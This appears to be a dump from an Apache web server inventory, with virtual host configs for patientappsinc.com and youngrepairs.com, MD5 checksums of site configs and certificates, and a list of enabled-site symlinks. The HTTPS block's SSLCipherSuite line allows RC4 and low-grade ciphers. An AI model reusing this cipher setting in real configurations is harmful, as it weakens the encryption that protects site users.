    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www/public
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	502

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/myapp_ma2-mtfp_care.conf)= 7472589b546c64790d8a4a507bb8930a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-acrp_care.conf)= 9e3b2e1ac45d4b81318b4a40ae6ed96c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lrygb_care.conf)= 4b1aae6f4a3a1cb5e036c51957d3b29b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_test_co.conf)= d4f3bdf22a365e4addd509df5175633f
MD5(/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293)= 693b1b7a974daa0d5c467e0eeae01075
MD5(/etc/apache2/sites-available/myapp_ma1-tyto_care.conf)= 534693f5753d444c162ec45272483617
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ldhr_care.conf)= 16757e33e857ba30ce41b4901d052c88
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-lcl_care.conf)= 4a0e51e5e3ae68b52ace505e1380027e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lgb_care.conf)= 8225805d0ee85f394aa98eecdbd2abad
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-buni_care.conf)= 003f3de53e72662f0cb1bac459c3a717
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/001-myapp_www_care.conf)= 88ce7f2405c0946b8e4f3feb3edfb151
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/hostz_condor_org.conf)= 7fc95352b2ad760b6deff65bc4da1aba
MD5(/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt)= cc7de2b841d15dfa201a17a51f50ef88
MD5(/etc/apache2/sites-available/myapp_ma1-anin_care.conf)= 426de0a4ccda20e8130b6fe232ffc782
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mvrc_care.conf)= 7b6b1066a324fcf04594b29db38a08fe
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-utfa_care.conf)= c5a11a335ab10cdad497d0b916f574be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_d-oak_care.conf)= 05fd9880e5ae43a5c273807b07900d22
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_athenahealth_net.conf)= 5515b3f6e3122e420097da2be941b268
MD5(/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt)= e728d85074cba2dc822d25f59bf3560c
MD5(/etc/apache2/sites-available/patientapps_cerner_net.conf)= 649bcc57a2c730d3643cc2199476201b
MD5(/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt)= 8f8f033d8a7c07fc8cf10ecb322a62d2
MD5(/etc/apache2/sites-available/myapp_ma1-ovin_care.conf)= 5078aab525cb8b94b9d7cdf7896e57e4
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ankp_care.conf)= 2c05ed3677f478037d6999525d7098a2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfu_care.conf)= 2a3d76a9d50ffdc4c0c873dbd55d446f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_audio_net.conf)= 2bb0bee8eaa81c2509de421460f7342b
MD5(/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt)= 02404a0fbc32648c9167343410af338d
MD5(/etc/apache2/sites-available/myapp_ma1-savr_care.conf)= 4e650585d27701dce8cfd399f0d264be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_www_com.conf)= 297ea7acd17a4a9b1916f82979900de1
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 8eb4d08f14c1da0272f15500ca6d8e7d
MD5(/etc/apache2/sites-available/myapp_ma2-anin_care.conf)= 2b65f594b852c813e5014e8a368d2c3c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-chel_care.conf)= f2b806d6df70fec101fd07bad5efa7b1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-rorp_care.conf)= f5023f5f7c06b4009eaad06e58460511
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-prls_care.conf)= b5c32ccc3600ba70c2276b6070a5f0f1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-lsst_care.conf)= 0decb6a0dc00ef2c8f364b9f004f1ad3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-ctsr_care.conf)= a0ea9ce658c60a26441a945ec4fedbcb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-arcr_care.conf)= 06560a2f0a5413f7d75cdff2f18ba42a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hamm_care.conf)= 3fced2afd73010ee57d1cdeb6cdfd82a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-dego_care.conf)= 616c63a38f5956d2f00cfd0bf9093c3b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anrp_care.conf)= 35aaa8ab06a5ac762df09cb77bd9e9a8
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_pai_net.conf)= 53fdc6b10aaeafaf1458afd6edb777dd
MD5(/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt)= 38a430974a8b19c93b048a234be8da12
MD5(/etc/apache2/sites-available/myapp_test_care.conf)= 4154efbd4a45d5cdc3d887b22c2c5d39
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-typa_care.conf)= 8be89f5c74e7ce2de4a662d27565335a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-larn_care.conf)= 7bda03f83b5441843283464e9fcb0faf
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_version2_care.conf)= ff23f7a2d96d87d772f445dfadbc35ea
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/vela_www_work.conf)= 4a3d86c9924c7ded079d4f44dbc67ce7
MD5(/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt)= 1fb66150045c8d02cbd81d135e02bb9a
MD5(/etc/apache2/sites-available/myapp_ma2-anar_care.conf)= 3bd9b35cc0334d04416783b64b79b84d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-chel_care.conf)= efb80d5fec224d615671984258e498fb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasc_care.conf)= 34e2c1d81eb727d90d54fb5afa42d125
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfu_care.conf)= b745c696ba612a329dfbc4edf898a93b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-asst_care.conf)= e5fa96cbd4947b9dedb8efa1ceea7249
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mtfp_care.conf)= 37477599b957673cc4d4279b50753c12
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-lc_care.conf)= b90a1a0d4be5266bf921d7647b7ebfff
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hind_care.conf)= 0c1ebefc6c05b46eab95dd93ac47378a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfr_care.conf)= 88e6b02a3c208f67ff01e9b8a76166b2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_shop_co.conf)= 9f3aa7a2098d3966eed689f608e572f4
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99)= 3d469a362418826d7b768061ed54fb31
MD5(/etc/apache2/sites-available/myapp_pai-lsst_care.conf)= 1e2061bfec93e17d29d5125a418a361b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 9950eb186b95ec495ff6aedd98d4d484
MD5(/etc/apache2/sites-available/myapp_ma1-sspr_care.conf)= a23003bbe9e71b851e4e6a89a58b4819
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-fass_care.conf)= d299a5e4da71b5ad9eff39af7a264c65
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasr_care.conf)= b434d2e01d9387e49b2619e932405dc7
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-rco_care.conf)= 269211c1701feb99a20a8c67e9540f42
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_store_com.conf)= 1d8a3025bd3f4b00f12b63b873e5d7e9
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 8eb4d08f14c1da0272f15500ca6d8e7d
MD5(/etc/apache2/sites-available/myapp_ma2-mdfu_care.conf)= 1b08c512b82461a3dc0be39de9e9fb80
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lsg_care.conf)= 4649593cb4ac7ab982dc0c5c9d2d5e4d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-shem_care.conf)= 938583f4e82b2fbe8a60d24671b9eeb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ropn_care.conf)= a93e624ddc0a275ad3c2ff7c0c848c38
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= adc4cf2817a357771b74d0d2ff7cfbc4
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/patientapps_go_net.conf)= 546e95ee7a00039128d331094467c2cb
MD5(/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt)= 6dc2fbfba8869ae0423179b1019307a3
MD5(/etc/apache2/sites-available/myapp_ma1-cybb_care.conf)= 07d445cb4f45e8e9b44b4abb4dc66dca
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_cn-dego_care.conf)= eb779095289e49c995aa6563f82ae687
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-pcnl_care.conf)= 12b1743e8772fcbaac5bf1a629f1345e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-infp_care.conf)= 6b0f9394ecf801c495b23814f5e0f0fa
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-acrp_care.conf)= 80fd24cd0852534d517e2ba724d51bf1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfr_care.conf)= 77427efebdb964e7b3164a9c802ff360
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-turp_care.conf)= 060336712fb7ee3f2edc69864acbf09b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-tylo_care.conf)= a23abb2e317f1150b1c6c623ba29ab5c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-pfer_care.conf)= 92ebb17024ab864649d754dd80db984d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-acrc_care.conf)= d0cd3cd7094032410b6b1a616a559e9b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anrp_care.conf)= f255d57f513cabd3c577172f85ee5bb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_www_net.conf)= 6492b2dcd2c18931d5cfaae3f999142f
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt)= 8da8c6fa0f49d86ebedbf130c1c62e0f
MD5(/etc/apache2/sites-available/myapp_ma1-osbp_care.conf)= d8eeb1d9b64757fa2860f7462aa0e04d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-ldhr_care.conf)= 79cc94287fb48b9dce7bd13368e5e26a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-rcl_care.conf)= 1ba64d3689ac8e3c55769f24cd05c1b0
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-rcl.conf)= 56ef59551907423a50d3f68facc29e50
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_portal_net.conf)= 155ece288d71a7aee0c487d9414d5b5b
MD5(/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt)= 13cb83b897dd6ad17db11a7590513918
MD5(/etc/apache2/sites-available/myapp_pai-lsg-s_care.conf)= 07c0074c07d2fdaf426d47d73329446f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-octf_care.conf)= e3d1d23858ff5fe1b4b09e3e9bc84bcc
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-epas_care.conf)= bb69149b2accf0666dadf4fcf2dff87f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-tosr_care.conf)= f519fcea1b0b6978ea8466cc7952c051
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
link(/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf)= /etc/apache2/sites-available/myapp_ma2-mtfp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf)= /etc/apache2/sites-available/myapp_sma1-lrygb_care.conf
link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2/sites-available/patientapps_test_co.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf)= /etc/apache2/sites-available/myapp_ma1-tyto_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf)= /etc/apache2/sites-available/myapp_ma1-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-lcl_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf)= /etc/apache2/sites-available/myapp_sma1-lgb_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf)= /etc/apache2/sites-available/myapp_ma2-buni_care.conf
link(/etc/apache2/sites-enabled/001-myapp_www_care.conf)= /etc/apache2/sites-available/001-myapp_www_care.conf
link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2/sites-available/hostz_condor_org.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf)= /etc/apache2/sites-available/myapp_ma1-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf)= /etc/apache2/sites-available/myapp_ma1-mvrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf)= /etc/apache2/sites-available/myapp_ma1-utfa_care.conf
link(/etc/apache2/sites-enabled/myapp_d-oak_care.conf)= /etc/apache2/sites-available/myapp_d-oak_care.conf
link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2/sites-available/patientapps_athenahealth_net.conf
link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2/sites-available/patientapps_cerner_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf)= /etc/apache2/sites-available/myapp_ma1-ovin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf)= /etc/apache2/sites-available/myapp_ma1-ankp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfu_care.conf
link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2/sites-available/patientapps_audio_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf)= /etc/apache2/sites-available/myapp_ma1-savr_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2/sites-available/patientappsinc_www_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf)= /etc/apache2/sites-available/myapp_ma2-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf)= /etc/apache2/sites-available/myapp_ma1-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf)= /etc/apache2/sites-available/myapp_ma1-rorp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf)= /etc/apache2/sites-available/myapp_ma1-prls_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf)= /etc/apache2/sites-available/myapp_ma1-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf)= /etc/apache2/sites-available/myapp_pai-ctsr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf)= /etc/apache2/sites-available/myapp_ma1-arcr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf)= /etc/apache2/sites-available/myapp_ma2-hamm_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf)= /etc/apache2/sites-available/myapp_ma1-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2/sites-available/patientapps_pai_net.conf
link(/etc/apache2/sites-enabled/myapp_test_care.conf)= /etc/apache2/sites-available/myapp_test_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf)= /etc/apache2/sites-available/myapp_ma1-typa_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf)= /etc/apache2/sites-available/myapp_ma1-larn_care.conf
link(/etc/apache2/sites-enabled/myapp_version2_care.conf)= /etc/apache2/sites-available/myapp_version2_care.conf
link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2/sites-available/vela_www_work.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf)= /etc/apache2/sites-available/myapp_ma2-anar_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf)= /etc/apache2/sites-available/myapp_ma2-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfu_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf)= /etc/apache2/sites-available/myapp_ma1-asst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf)= /etc/apache2/sites-available/myapp_ma1-mtfp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-lc_care.conf)= /etc/apache2/sites-available/myapp_pai-lc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf)= /etc/apache2/sites-available/myapp_ma2-hind_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfr_care.conf
link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2/sites-available/patientapps_shop_co.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf)= /etc/apache2/sites-available/myapp_pai-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf)= /etc/apache2/sites-available/myapp_ma1-sspr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf)= /etc/apache2/sites-available/myapp_ma1-fass_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasr_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-rco_care.conf)= /etc/apache2/sites-available/myapp_pai-rco_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_store_com.conf)= /etc/apache2/sites-available/patientappsinc_store_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-mdfu_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf)= /etc/apache2/sites-available/myapp_sma1-lsg_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf)= /etc/apache2/sites-available/myapp_ma1-shem_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf)= /etc/apache2/sites-available/myapp_ma1-ropn_care.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2/sites-available/patientapps_go_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf)= /etc/apache2/sites-available/myapp_ma1-cybb_care.conf
link(/etc/apache2/sites-enabled/myapp_cn-dego_care.conf)= /etc/apache2/sites-available/myapp_cn-dego_care.conf
